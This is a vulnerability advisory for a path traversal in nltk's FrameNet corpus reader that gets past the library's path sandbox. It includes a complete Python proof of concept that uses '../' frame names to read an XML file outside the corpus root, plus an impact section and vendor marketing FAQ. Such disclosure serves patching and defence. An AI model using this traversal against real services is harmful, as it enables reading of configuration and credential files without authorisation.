CVE-2026-12074 — nltk
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()— uses the index entryfilenamefield- the lexical-unit file loader — uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read — silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
| Software | From | Fixed in |
|---|---|---|
nltk
|
- | 3.10.0 |
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.